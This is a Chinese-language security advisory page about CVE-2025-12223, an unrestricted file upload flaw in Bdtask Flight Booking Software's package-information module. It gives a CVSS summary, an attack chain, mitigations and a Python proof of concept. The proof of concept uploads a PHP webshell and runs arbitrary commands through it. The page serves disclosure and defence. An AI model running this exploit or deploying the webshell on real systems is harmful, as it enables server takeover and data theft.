IPBUF安全漏洞报告
English
CVE-2025-12223 CVSS 6.3 中危

CVE-2025-12223: Bdtask Flight Booking Software未限制文件上传漏洞

披露日期: 2025-10-27

漏洞信息

漏洞编号
CVE-2025-12223
漏洞类型
未限制文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Bdtask Flight Booking Software

相关标签

未限制文件上传Bdtask Flight Booking Software远程代码执行CVE-2025-12223Webshell上传中等严重程度

漏洞概述

CVE-2025-12223是Bdtask Flight Booking Software(航班预订软件)中发现的一个未限制文件上传漏洞。该漏洞存在于软件的Package Information模块中,具体影响文件为/b2c/package-information。攻击者可以利用该漏洞上传任意文件到服务器,从而可能导致远程代码执行、敏感信息泄露或进一步的网络渗透。漏洞的CVSS评分为6.3,属于中等严重程度,攻击向量为网络形式,认证要求为低权限用户即可发起攻击,无需用户交互。该漏洞影响软件3.1及以下版本,攻击复杂度低,可被远程利用。由于供应商在收到漏洞报告后未做出任何回应,该漏洞的修复状态尚不明确。建议使用该软件的用户立即采取防护措施,避免受到潜在攻击。

技术细节

漏洞位于Bdtask Flight Booking Software的Package Information模块中,具体路径为/b2c/package-information。该模块在处理文件上传请求时未对上传文件的类型、内容和扩展名进行充分的验证和过滤。攻击者可以通过构造恶意的文件上传请求,上传包含恶意代码的文件(如PHP、JSP、ASP等Webshell脚本)到服务器。由于服务器未对上传文件进行安全检查,上传的文件可以被直接执行,从而实现远程代码执行。攻击者首先需要具备低权限账户(如普通用户账户)即可发起攻击。攻击者登录系统后,访问Package Information模块的文件上传功能,通过拦截并修改上传请求,绕过客户端的文件类型检查,上传恶意文件。上传成功后,攻击者可以通过访问上传文件路径来执行其中的恶意代码,进而完全控制服务器。

攻击链分析

STEP 1
步骤1
攻击者获取或注册Bdtask Flight Booking Software的低权限用户账户
STEP 2
步骤2
攻击者登录系统,访问Package Information模块的文件上传功能
STEP 3
步骤3
攻击者构造恶意文件(如PHP webshell),通过拦截上传请求修改文件类型和内容
STEP 4
步骤4
绕过服务器的文件验证机制,成功上传恶意文件到服务器
STEP 5
步骤5
攻击者访问上传的恶意文件路径,通过Webshell执行任意系统命令
STEP 6
步骤6
获取服务器完全控制权,可进行数据窃取、横向移动或进一步渗透

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12223 PoC - Unrestricted File Upload in Bdtask Flight Booking Software # Affected Component: /b2c/package-information (Package Information Module) # Affected Version: Bdtask Flight Booking Software <= 3.1 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" login_url = f"{target_url}/login" upload_url = f"{target_url}/b2c/package-information" # Malicious PHP webshell webshell_content = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" session = requests.Session() # Step 1: Login with low-privilege account login_data = { 'email': '[email protected]', 'password': 'password123' } response = session.post(login_url, data=login_data) # Step 2: Upload malicious file files = { 'package_image': ('shell.php', webshell_content, 'application/x-php') } data = { 'package_name': 'Test Package', 'description': 'Malicious package' } response = session.post(upload_url, files=files, data=data) # Step 3: Execute the uploaded webshell if response.status_code == 200: shell_url = f"{target_url}/uploads/packages/shell.php" cmd = input("Enter command to execute: ") exec_response = requests.get(f"{shell_url}?cmd={cmd}") print(exec_response.text)

影响范围

Bdtask Flight Booking Software <= 3.1

防御指南

临时缓解措施
在供应商发布官方修复补丁之前,建议采取以下临时缓解措施:1)限制或禁用Package Information模块的文件上传功能;2)配置Web服务器,阻止上传目录中的脚本执行;3)实施Web应用防火墙(WAF)规则,检测和阻止恶意文件上传行为;4)监控和审计文件上传活动,及时发现异常行为;5)使用强身份认证机制,增强用户账户安全性;6)定期进行安全扫描和渗透测试,发现潜在安全风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表